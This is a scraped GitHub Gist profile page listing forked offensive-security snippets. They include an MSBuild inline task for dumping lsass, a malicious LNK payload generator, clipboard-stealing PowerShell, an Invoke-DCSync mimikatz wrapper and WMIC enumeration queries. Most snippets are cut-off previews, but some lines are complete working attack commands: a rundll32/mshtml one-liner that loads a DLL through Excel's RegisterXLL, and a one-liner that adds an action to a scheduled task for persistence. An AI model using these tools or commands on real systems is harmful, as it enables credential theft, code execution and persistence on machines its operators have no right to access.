Skip to content

Instantly share code, notes, and snippets.

View quikilr's full-sized avatar

quikilr

11 followers · 13 following
View GitHub Profile
@quikilr
quikilr / MSBuildProcDumper.csproj
Created February 22, 2018 22:34
MSBuild - Process Dumper - lsass example
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!-- This inline task executes c# code. -->
<!-- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe MSBuildProcDumper.csproj -->
<!-- Feel free to use a more aggressive class for testing. -->
<Target Name="Hello">
<ClassExample />
</Target>
<UsingTask
TaskName="ClassExample"
TaskFactory="CodeTaskFactory"
@quikilr
quikilr / Create-LNK.ps1
Created October 26, 2017 12:11 — forked from enigma0x3/Create-LNK.ps1
function Create-LNKPayload{
<#
.SYNOPSIS
Generates a malicous LNK file
.PARAMETER LNKName
Name of the LNK file you want to create.
@quikilr
quikilr / clipboard.ps1
Created August 19, 2017 18:42 — forked from chokepoint/clipboard.ps1
Clipboard Stealing
function Get-Clipboard([switch] $Lines) {
if($Lines) {
$cmd = {
Add-Type -Assembly PresentationCore
[Windows.Clipboard]::GetText() -replace "`r", '' -split "`n"
}
} else {
$cmd = {
Add-Type -Assembly PresentationCore
[Windows.Clipboard]::GetText()
@quikilr
quikilr / Get-KerberosAESKey.ps1
Created August 11, 2017 14:46 — forked from Kevin-Robertson/Get-KerberosAESKey.ps1
Generate Kerberos AES keys from a known password
function Get-KerberosAESKey
{
<#
.SYNOPSIS
Generate Kerberos AES 128/256 keys from a known username/hostname, password, and kerberos realm. The
results have been verified against the test values in RFC3962, MS-KILE, and my own test lab.
https://tools.ietf.org/html/rfc3962
https://msdn.microsoft.com/library/cc233855.aspx
@quikilr
quikilr / excel.bat
Created July 13, 2017 16:13 — forked from ryhanson/ExcelXLL.md
Execute DLL via the Excel.Application object's RegisterXLL() method
REM rundll32 mshtml.dll HTA one-liner command:
rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";x=new%20ActiveXObject('Excel.Application');x.RegisterXLL('C:\\Windows\\Temp\\evilDLL.log');this.close();
@quikilr
quikilr / schtaskmod.ps1
Created June 7, 2017 21:18 — forked from mubix/schtaskmod.ps1
Modify Scheduled Task
Get-ScheduledTask -TaskName 'XblGameSaveTaskLogon' | % { $_.Actions += New-ScheduledTaskAction -Execute 'calc.exe'; Set-ScheduledTask -TaskPath $_.TaskPath -TaskName $_.TaskName -Action $_.Actions }
@quikilr
quikilr / Rulz.py
Created April 24, 2017 12:33 — forked from monoxgas/Rulz.py
#!/usr/bin/env python
# Rulz.py
# Author: Nick Landers (@monoxgas) - Silent Break Security
import os
import sys
import argparse
import re
import binascii
import codecs
@quikilr
quikilr / Invoke-DCSync.ps1
Created April 24, 2017 12:33 — forked from monoxgas/Invoke-DCSync.ps1
What more could you want?
This file has been truncated, but you can view the full file.
function Invoke-DCSync
{
<#
.SYNOPSIS
Uses dcsync from mimikatz to collect NTLM hashes from the domain.
Author: @monoxgas
Improved by: @harmj0y
@quikilr
quikilr / 8x1080.md
Created April 20, 2017 14:12 — forked from epixoip/8x1080.md
8x Nvidia GTX 1080 Hashcat Benchmarks
@quikilr
quikilr / wmic_cmds.txt
Created February 16, 2017 13:23 — forked from xorrior/wmic_cmds.txt
Useful Wmic queries for host and domain enumeration
Host Enumeration:
--- OS Specifics ---
wmic os LIST Full (* To obtain the OS Name, use the "caption" property)
wmic computersystem LIST full
--- Anti-Virus ---
wmic /namespace:\\root\securitycenter2 path antivirusproduct